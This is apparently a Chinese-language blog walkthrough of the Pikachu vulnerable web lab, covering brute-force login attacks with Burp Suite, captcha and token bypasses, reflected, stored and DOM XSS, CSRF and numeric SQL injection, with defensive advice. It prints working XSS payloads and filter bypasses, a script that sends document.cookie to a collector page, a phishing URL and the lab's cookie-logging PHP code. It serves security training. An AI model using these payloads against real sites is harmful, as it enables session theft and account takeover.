Pikachu靶场通关记录
Table of Contents
- 如果发现几张图片排版不美观,其实是画廊未成功渲染,只需刷新一次就好
暴力破解
概述
“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。 理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括:
- 是否要求用户设置复杂的密码
- 是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp
- 是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等)
- 是否采用了双因素认证
- … …
千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!
基本设置
首先需要配置火狐代理,使数据包通过BurpSuite的监控
代理地址127.0.0.1即为本地地址
点击靶场任意链接发送请求,打开BurpSuite代理(proxy)选项卡查看数据包是否被拦截
被拦截的数据包
可见,数据包被拦截成功,基本的配置就此完成了。
基于表单的暴力破解
打开页面,我们可以看到一个非常典型的登录页面,包含两个input元素和一个submit元素
先随便输入些什么,根据返回的信息找点线索
密码是那个数字,就是那个(掩鼻)
提交一下,复制一下返回信息
毫无疑问是错的 但是你先别急
回来看看拦截的数据(涉及隐私的一般为POST请求)
URL编码先辈会梦见赛博林檎吗(雾)
右键Send to Intruder或者Ctrl+I,观察发现只有username和password两个变量与验证相关,判断可以暴力破解。
clear默认变量,将username和password设置为要攻击的变量,攻击方式选择多字典交叉的Cluster bomb(覆盖率较高)
设置Payload,上祖传字典
所谓祖传其实是GitHub上找的()
配置Option-Grep筛选返回信息以鉴别爆破成功的条目
还记得一开始的返回信息吗,这时候派上用场了
开始爆破!由于字典太大我就不浪费时间流量了,暂停一下查看阶段性成果
点击设置的筛选返回信息排序,可以看到admin/123456没有报错且返回值长度与众不同,尝试登录一下
爆破成功
- admin/123456下面还有几个返回长度不对的账号密码,尝试登录后也不返回任何信息,应该是平台本身的bug
- 因为是第一次打靶所以记录得详细一些,之后会逐渐省略步骤偷懒
验证码绕过(on client)
首先依旧是非常经典的登录页面,但是多了个长相奇怪的验证码
可以思考下为什么这样的验证码生活中不常见
故意输错验证码尝试登录
可以看到验证码错误的情况下页面不发送POST请求,所以很可能验证码相关代码是写在前端的
查看页面源码
发现验证码表单和相关JavaScript源码
输入正确验证码,将POST请求数据包发送到Repeater选项卡复现,并尝试提交一个错误的验证码
可以看到只返回username or password is not exists而非验证码错误,说明验证码不会提交给后端验证
现在可以确信验证码机制是交由前端实现的了,攻击方式也就明朗了
操作验证码正确的POST请求数据包–>Cluster bomb–>设置username、password为变量–>设置字典和筛选返回信息–>Start attack
爆破成功
事后(?)翻翻后端代码,果然,源码仅对username和password做POST请求,进一步证实验证码机制完全交由前端实现(JavaScript实现)
现在也可以回答之前的问题了,这种完全由前端(JS、cookie等)实现的验证码机制根本无法保证安全,所以现今的验证码机制都交由更安全的后端来实现
验证码绕过(on server)
这次的登录页面就是生活中非常常见的形式了,验证码也是图片型的,点击或刷新都会改变验证码
首先我们还是走个流程,抓个包看看不同的输入会返回什么信息
换主题和字号了,可喜可贺可喜可贺
可以看到无论输入正确与否都会通过POST请求交由后端处理,属于典型的后端实现
服务器在生成并发送验证码图片时会把验证码信息储存在session里,而session一般会有时效,如果可以在时效内进行爆破则有可能成功
接下来发送数据包到Repeater修改账号密码尝试Send一下,看看session能不能被重复利用
浏览器页面刷新后记得改一下请求的新验证码
返回的信息是username or password is not exists,证明session是可以被重复利用的
接下来走流程爆破,不再赘述
爆破成功
完事我们看看后端源码
先来说说session。session其实和cookie非常相似,都负责储存用户信息以避免重复的信息验证、减轻服务器压力并优化用户浏览体验,只不过cookie储存在浏览器内而session储存在服务器内
由于没有设置时限,session默认有效时间为30分钟,这就给了我们很大的攻击空间。正确的设置方法应该是每次验证完成后销毁session里的相关信息,保证session不会被重复利用
session和cookie都包含有我们重要的身份信息,因此黑客常常设法窃取它们以绕过登录验证,所以一定要提高警惕,保护好自己浏览器里的cookie并适当及时清理,防患于未然
token防爆破
token是什么?
百度百科
Token在计算机身份认证中是令牌(临时)的意思,在词法分析中是标记的意思。一般作为邀请、登录系统使用。
说白了,token(“令牌”)就是一个对页面或者用户的唯一标志
那么,使用token可以通过标志页面从而防止大量重复提交请求的爆破手段吗?答案是不能
应对方法
这次是一个没有验证码的毫无防备的纯良表单
但事实果真如此吗?先抓个包试试
我们发现,更改账号密码提交后返回一个csrf token error,可见数据包的确被POST去后端但是被拒绝登录了,返回的也不是username or password is not exists
来看看网页源码
原来是给页面加上了token,而且在每次页面刷新后都会发送一个新的token,而旧的token就会失效
这下似乎无解了 但是你先别急
捋一捋思路不难想到,只要写个脚本,在每次提交数据时重新获取一遍新的token不就可以顺利爆破了吗
强大的Burp Suite也内置了这个功能
我们在设置变量的时候把token也选上,并给变量token选择Recursive grep(递归查找)
Option–>Redirections(重定向)里勾选上Always
Payload–>Grep-Extract里add上token的值
Payload–>Payload Options [Recursive grep]
另外,start之前出现一个奇怪的报错:Error:recursive grep payloads cannot be used with multiple request threads
解决办法:新建一个最高并发为1的Resource pool并选上
这里截图没截好,应该选第二个新建的Resource pool
OK准备完毕,Start attack
其实是爆破成功了,但是后台并没有返回错误或登陆成功,应该也是bug
由此看来,token也并不能保证安全
Cross-Site Scripting
概述
Cross-Site Scripting(跨站脚本)简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
- 反射型XSS
- 交互的数据一般不会被存在数据库里,一次性、所见即所得,一般出现在查询类页面等
- 存储型XSS
- 交互的数据会被存在数据库里面,永久性存储,一般出现在留言板、注册等页面(危害最大)
- DOM型XSS
- 不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的XSS,一次性,也属于反射型(危害较小)
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位 XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户 XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、用户cookie获取… …甚至可以结合浏览器自身漏洞对用户主机进行远程控制等 形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害 因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
- 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入
- 输出转义:根据输出点的位置对输出到前端的内容进行适当转义
XSS漏洞的主要测试流程如下:
- 在目标站点上找到输入点,比如查询接口、留言板等
- 输入一组“特殊字符+唯一识别字符”,提交后查看返回的源码是否有被做对应的处理
- 通过搜索定位唯一识别字符,结合字符前后语法确认是否可以构造执行JavaScript的条件(构造闭合)
- 提交构造的脚本代码(以及各种绕过方式)看是否可以成功执行,如果成功则说明存在XSS漏洞
反射型XSS
GET
现在页面上是一个非常常见的输入框
我们先来尝试输入一些特殊符号加一个方便查找的字符串:'"<>0721
看来后端并没有对这些特殊符号进行过滤,判断可以进行攻击了
输入一段JavaScript
限制输入长度了,改改表单属性
点击提交
成功让JavaScript执行,弹出消息框
我们来看看现在的前端页面源码
<div id="xssr_main">
<p class="xssr_title">Which NBA player do you like?</p>
<form method="get">
<input class="xssr_in" type="text" maxlength="20" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<p class='notice'>who is '"<>0721,i don't care!</p>
</div>
<div id="xssr_main">
<p class="xssr_title">Which NBA player do you like?</p>
<form method="get">
<input class="xssr_in" type="text" maxlength="20" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<p class='notice'>who is <script>alert('打个胶先')</script>,i don't care!</p>
</div>
原理还是非常好理解的
完毕,我们来看看后端源码片段
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "xss_reflected_get.php"){
$ACTIVE = array('','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
$html='';
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>输入'kobe'试试-_-</p>";
}else{
if($_GET['message']=='kobe'){
$html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
}
}
}
?>
可以看到,后端并未对GET请求的消息做任何过滤处理,这也给了我们很多可乘之机
下面我们来看看这种XSS漏洞有什么利用的场景
因为表单提交属性是GET请求,所以我们的输入都会如实反映在URL中:
http://light.asuka39.top:9000/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%27%E6%89%93%E4%B8%AA%E8%83%B6%E5%85%88%27%29%3C%2Fscript%3E&submit=submit#
打开URL就会自动提交GET请求,执行嵌入的JavaScript代码:
所以我们就可以通过向网络散布这种暗藏恶意嵌入的链接,不知情的人以为只是正常站点(比如说某些大网站),只要他们一点开就会中招而毫无察觉
POST
POST型其实与GET型原理一致,但是POSY请求并不会反映到URL上,这使得漏洞利用难度增大
一般而言可以通过伪造表单页面,诱导被攻击者访问并登录伪造页面,伪造页面的JS脚本在其点击登录时向正确提交POST请求触发XSS漏洞,并将被攻击者页面重定向至正常页面,从而在被攻击者未发觉的情况下完成攻击
存储型XSS
来看到一个留言板
然后是基操试探一下
看起来完全不设防,开始攻击,这次来点实在的,获取cookie试试:
<script>alert(document.cookie)</script>
你以为这就结束了吗?没那么简单
存储型XSS之所以危害大,在于它是永久型的,在后台清除掉它之前都会一直作用
原理和源码问题和反射型基本一致,只多了一个保存到数据库,因此不再赘述
DOM型XSS
首先,DOM是什么?
菜鸟教程
DOM (Document Object Model) 译为文档对象模型,是 HTML 和 XML 文档的编程接口。 HTML DOM 定义了访问和操作 HTML 文档的标准方法。 DOM 以树结构表达 HTML 文档。
HTML DOM tree
简单来说就是HTML和XML提供给外部的接口,供脚本等程序对HTML或XML内容进行操作
详细的教程和文档可以参看菜鸟教程
OK来看看场景
似乎是一个毫无特点意义不明的输入框
随便输入,看看返回些什么
输入的内容就是链接?看看源码
<div id="xssd_main">
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>
<!--<a href="" onclick=('xss')>-->
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
</div>
确实如此,那我们就可以层层分析构造payload了
<a href='"+str+"'>what do you see?</a>
<a href=''>">what do you see?</a>
<a href='#' onclick="alert('打个胶先')">">what do you see?</a>
OK,那么#' onclick="alert('打个胶先')">
就是我们的payload了
成功
很枯燥啊感觉,而且是不是觉得没什么冷用?来看看另一种情况
有点抽象
随便输入些什么
更抽象了
看看地址栏,发现是一个GET请求
http://light.asuka39.top:9000/vul/xss/xss_dom_x.php?text=0721#
页面返回一个链接?点开看看
伤心往事?还有什么能比0721更爽的
点开链接后又多了个链接,新链接和第一种情况一样
那么应该要怎么利用呢?
先看看源码
<div class="page-content">
<div id="xssd_main">
<script>
function domxss(){
var str = window.location.search;//获取URL内容
var txss = decodeURIComponent(str.split("text=")[1]);//URL解码、分割
var xss = txss.replace(/\+/g,' ');//内容赋值给变量
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";//变量内容写入链接标签
}
</script>
<!--<a href="" onclick=('xss')>-->
<form method="get">
<input id="text" name="text" type="text" value="" />
<input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>
<div id="dom"></div>
</div>
<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>
</div>
捋清逻辑之后就很简单了,依然使用上次的payload:' onclick="alert('打个胶先')">
输入之后点击返回的第二个链接
成功
那么如何利用漏洞呢?
还记得提交的是GET请求吗?来看地址栏
http://light.asuka39.top:9000/vul/xss/xss_dom_x.php?text=%23%27+onclick%3D%22alert%28%27%E6%89%93%E4%B8%AA%E8%83%B6%E5%85%88%27%29%22%3E#
我们只需要把嵌入恶意代码的链接散播出去就能达到攻击的目的了
还是觉得没什么冷用吗?你的感觉是对的。实际上,DOM型XSS危害比较小,但是作为一个漏洞我们依旧有必要拿出来学习讨论(好歹算个漏洞,给个面子)
盲打
XSS盲打是XSS的一种应用场景
先来看这个反馈留言框
日常试探一下
似乎没有反应,那就attack试试
前端似乎没有任何反馈,是不是XSS失去了利用价值呢?其实不是,我们来看看网站管理员的页面
attack前:
确实没有进行过滤
attack后:
赛博魅魔:还不能休息哦❤
可以看到,只要管理员打开一次页面就会被攻击两次(留言框+名字框)
虽然用户前端不会受到攻击,但是管理员后台会受到攻击,这也是为什么这种场景叫做“盲打”
本质上,XSS盲打利用的就是存储型XSS漏洞
过滤
开发人员常常会对前端输入内容进行层层设防,其中最常用的手段之一就是过滤
“道”高一尺,“魔”高一丈,测试人员也有自己的应对方法,那就是绕过
常见的绕过方法有:
前端强制绕过:直接抓包重放或修改HTML代码
大小写绕过:<SCriPt>alert('打个胶先')</ScRiPT>
拼凑绕过:<sc<script>ript>alert('打个胶先')</scr</script>ipt>
注释绕过:<scr<!--test-->ipt>alert('打个胶先')</sc<!--test-->ript>
当然,仅仅这些方法是不足以应对思维缜密的开发人员的
下面是网上一份比较详细的XSS绕过思维导图:
XSS绕过的方法有很多,取决于我们的扎实的前端基础、丰富的经验和巧妙的思路
OK那我们来实践一下
似乎是一个不设防的输入框?
别说0721这些话,不要怕,就是干!
其实分号和斜杠也应该试探一下,这里疏忽了
戳啦,过滤嘛
现在正常的手段已经不起效了,我们自然而然想到绕过过滤
尝试了几种常见手段,大小写绕过成功了:
<SCriPt>alert('打个胶先')</ScRiPT>
绕过成功
来看看后端源码
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "xss_01.php"){
$ACTIVE = array('','','','','','','','active open','','','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
$html = '';
if(isset($_GET['submit']) && $_GET['message'] != null){
//这里会使用正则对<script进行替换为空,也就是过滤掉
//正则表达式对大小写敏感
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
// $message=str_ireplace('<script>',$_GET['message']);
if($message == 'yes'){
$html.="<p>那就去人民广场一个人坐一会儿吧!</p>";
}else{
$html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
}
}
?>
马后炮:因为这里只过滤<script>
标签,那么我们其实也可以利用<img>
标签进行绕过:
<img src=0721 onerror="alert('打个胶先')">
成功
htmlspecialchars()
php中的htmlspecialchars()
函数可以把预定义的字符转换为HTML实体:
&
变为&
"
变为"
'
变为'
<
变为<
>
变为>
函数语法如下:
htmlspecialchars(string,flags,character-set,double_encode)
其中可选参数flags可以规定如何处理引号、无效编码和使用哪种文档类型
有三种可用的引号类型选择:
ENT_COMPAT
:仅编码双引号(默认参数)ENT_QUOTES
:编码双引号和单引号ENT_NOQUOTES
:不编码任何引号
更多细节可以参看W3school
那么,如果由于开发人员的疏忽并未选择编码任何引号,我们就有机可乘了
先来看一个输入框,试探一波
似乎做到了透明传输?看看源码先:
<div class="page-content">
<div id="xssr_main">
<p class="xssr_title">人生之所有苦短,是因为你的xss学习的还不够好</p>
<form method="get">
<input class="xssr_in" type="text" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<p class='notice'>你的输入已经被记录:</p>
<a href=''"<>&0721'>'"<>&0721</a>
</div>
</div>
原来是用了htmlspecialchars()
函数对输入进行编码,但是忘记选择编码单引号了,只要对单引号构造闭合就可以完成攻击了
构造payload:
#' onclick='alert("打个胶先")'
成功
来看看后端代码
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "xss_02.php"){
$ACTIVE = array('','','','','','','','active open','','','','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
$html='';
$html1='';
$html2='';
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>输入点啥吧!</p>";
}else {
//使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理
$message=htmlspecialchars($_GET['message']);
$html1.="<p class='notice'>你的输入已经被记录:</p>";
//输入的内容被处理后输出到了input标签的value属性里面
// $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
$html2.="<a href='{$message}'>{$message}</a>";
}
}
?>
XSS常见防范措施
总原则:输入做过滤,输出做转义
- 过滤:根据需求做过滤。比如要求输入手机号码就只允许输入手机号码格式的数字
- 转义:对所有输出到前端的数据都根据输出点进行转义。
- 输出到HTML中就进行HTML实体转义
- 输出到JavaScript里就进行JavaScript转义
herf输出
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "xss_03.php"){
$ACTIVE = array('','','','','','','','active open','','','','','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
$html='';
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
}
if($_GET['message'] == 'www.baidu.com'){
$html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
}else {
//输出在a标签的href属性里面,可以使用javascript协议来执行js
//防御:只允许http,https协议,其次在进行htmlspecialchars处理
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
}
}
?>
payload:
javascript:alert("打个胶先")
js输出
后端源码:
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "xss_04.php"){
$ACTIVE = array('','','','','','','','active open','','','','','','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
$jsvar='';
$html='';
//这里讲输入动态的生成到了js中,形成xss
//javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义
//讲这个例子主要是为了让你明白,输出点在js中的xss问题,应该怎么修?
//这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。
//所以在JS的输出点应该使用\对特殊字符进行转义
if(isset($_GET['submit']) && $_GET['message'] !=null){
$jsvar=$_GET['message'];
// $jsvar=htmlspecialchars($_GET['message'],ENT_QUOTES);
if($jsvar == 'tmac'){
$html.="<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
}
}
?>
前端源码片段:
<script>
$ms='0721';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
看提示输入个tamc试试(私货):
靶场作者还是个麦迪粉
payload:
'#'</script><script>alert('打个胶先')</script>
这样整行代码就变成了:
$ms=''#'</script><script>alert('打个胶先')</script>';
实例演示
pikachu还为我们提供了一个XSS后台,可以用于实例演示
核心代码:
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
//这个是获取cookie的api页面
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://192.168.1.4/pikachu/index.php");//重定向到一个可信的网站
?>
<?php
// error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
// 判断是否登录,没有登录不能访问
if(!check_login($link)){
header("location:../pkxss_login.php");
}
if(isset($_GET['id']) && is_numeric($_GET['id'])){
$id=escape($link, $_GET['id']);
$query="delete from cookies where id=$id";
execute($link, $query);
}
?>
获取cookie
以反射型XSS(GET)为例
payload:
<script>document.location='http://light.asuka39.top:9000/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
钓鱼URL(URL编码后):
http://light.asuka39.top:9000/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A//light.asuka39.top%3A9000/pkxss/xcookie/cookie.php%3Fcookie%3D%27%20%2B%20document.cookie%3B%3C/script%3E&submit=submit/
后台结果:
钓鱼(搁置)
获取键盘记录(搁置)
CSRF
概述
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的 这里列举一个场景解释一下,希望能够帮助理解
场景需求: 田所想要修改远野在购物网站www.xx.com上填写的会员地址 先看下远野是如何修改自己的密码的: 登录–>修改会员信息,提交请求–>修改成功 所以田所想要修改远野的信息,他需要拥有:
- 登录权限
- 修改个人信息的请求。
但是远野又不会把自己xxx网站的账号密码告诉田所,那田所怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change
于是,他实施了这样一个操作:把这个链接伪装一下,在远野登录xxx网站后,欺骗他进行点击,远野点击这个链接后,个人信息就被修改了,田所就完成了攻击目的
为啥田所的操作能够实现呢?有如下几个关键点:
- 网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造
- 因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造
- 远野点击了田所发给的链接,并且这个时候远野刚好登录在购物网上
- 如果远野安全意识高,不点击不明链接,则攻击不会成功;又或者即使远野点击了链接,但远野此时并没有登录购物网站,则攻击也不会成功
因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件,成功难度较高,因此被认为是危害较小的漏洞
当然,如果田所事先在xxx网的首页如果发现了一个XSS漏洞,则田所可能会这样做: 欺骗远野访问埋伏了XSS脚本(盗取cookie的脚本)的页面,远野中招,田所拿到远野的cookie,然后田所顺利登录到远野的后台,田所自己修改远野的相关信息
所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限;而XSS是直接盗取到了用户的权限,然后实施破坏。
那么如何来确认一个web系统存在CSRF漏洞呢
- 对目标网站实施增删改的地方进行标记,观察其逻辑,判断请求是否可以被伪造
- 修改敏感信息时是否需要验证旧密码、验证邮箱等
- 修改敏感信息时有没有使用安全的token验证
- 确认凭证的有效期
- 关闭浏览器后cookie是否还有效
- session是否及时过期失效
网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作被伪造的情况:
- 对敏感信息的操作使用安全的token验证
- 对敏感信息的操作增加安全的验证码
- 对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等
CSRF(GET&POST)
一个登录页面表单,用靶场给定的账号登录一下
登录后会显示一些个人信息
修改个人信息
提交之后好像没什么能利用的地方?别急,看看BurpSuite先
发现submit的时候其实是向后台提交了一个GET请求:
http://light.asuka39.top:9000/vul/csrf/csrfget/csrf_get_edit.php?sex=female&phonenum=114514&add=Japan&email=114514%40homo.jp&submit=submit
所有要修改的信息都写在URL里了,我们改一下URL:
http://light.asuka39.top:9000/vul/csrf/csrfget/csrf_get_edit.php?sex=homo&phonenum=1919810&add=Tokyo&email=1919810%40homo.jp&submit=submit
homo的话想必性染色体事YY罢
提交一下
修改成功
对于POST的情形,利用方法和之前的XSS基本一致,也是利用伪造的页面诱导被攻击者自己提交POST请求来完成攻击,这里不再赘述
CSRF token
依然是修改下信息抓个包看看
发现请求内多了token键值对
http://light.asuka39.top:9000/vul/csrf/csrftoken/token_get_edit.php?sex=homo&phonenum=1919810&add=Tokyo&email=114514%40homo.jp&token=472526315b1db6cbdc282246404&submit=submit
按照之前的方法尝试一下
http://light.asuka39.top:9000/vul/csrf/csrftoken/token_get_edit.php?sex=homo&phonenum=114514&add=Tokyo&email=114514%40homo.jp&token=472526315b1db6cbdc282246404&submit=submit
可以看到信息并未被修改,可见token有效防范了CSRF
CSRF有以下几种常见的防范措施:
- 使用token验证
- 对关键操作增加token参数,token值必须随机
- 使用关于安全的会话管理
- 不在客户端保存敏感信息(如身份验证信息)
- 测试直接关闭、退出时的会话过期机制
- 设置会话过期机制(如长时间无操作自动登录超时)
- 访问控制安全管理
- 修改敏感信息需要二次验证
- 敏感信息修改使用POST请求
- 通过HTTP header中的Referer来限制原页面
- 增加验证码验证
SQL Inject
概述
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面名列榜首的就是数据库注入漏洞。SQL注入是如此的著名,相信就算是没怎么了解过安全领域的路人也有过耳闻
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(拖库、删库、甚至整个服务器权限沦陷)
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
- 对传进SQL语句里面的变量进行过滤,不允许危险字符传入
- 使用参数化(Parameterized Query 或 Parameterized Statement)
另外,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了“拼接”的方式,所以使用时需要慎重!
SQL注入的主要流程:
- 注入点探测
- 自动方式:使用web漏洞扫描工具自动进行注入点发现
- 手动方式:手工构造SQL Inject测试语句进行注入点发现
- 信息获取
- 通过注入点获取期望得到的数据
- 环境信息:数据库类型、数据库版本、操作系统版本、用户信息等
- 数据库信息:数据库名称、数据库表、表字段、字段内容(加密内容破解)
- 通过注入点获取期望得到的数据
- 获取权限
- 获取操作系统权限:通过数据库执行shell、上传木马
SQL常见注入点类型:
- 数字型:
user_id=$id
- 字符型:
user_id='$id'
- 搜索型:
text LIKE '%{$_GET['search']}%'"
数字型注入(POST)
来看到一个选择查询表单
URL没有变化,故为POST请求。抓个包看看
假设这是一个注入点,我们来猜测一下从前端到后端的传参查询逻辑
PHP:$id=$_POST['id']
SQL:select 字段1,字段2 from 表名 where id = $id
构造payload
1 or 1=1
注入成功
PHP源码:
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "sqli_id.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',);
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR . 'header.php';
include_once $PIKA_ROOT_DIR."inc/config.inc.php";
include_once $PIKA_ROOT_DIR."inc/function.php";
include_once $PIKA_ROOT_DIR."inc/mysql.inc.php";
$link=connect();
$html='';
if(isset($_POST['submit']) && $_POST['id']!=null){
//这里没有做任何处理,直接拼到select里面去了,形成SQL注入
$id=$_POST['id'];
$query="select username,email from member where id=$id";
$result=execute($link, $query);
//这里如果用==1,会严格一点
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$username=$data['username'];
$email=$data['email'];
$html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
}
}
?>
登录到MySQL看看pikachu的数据库
mysql> show tables;
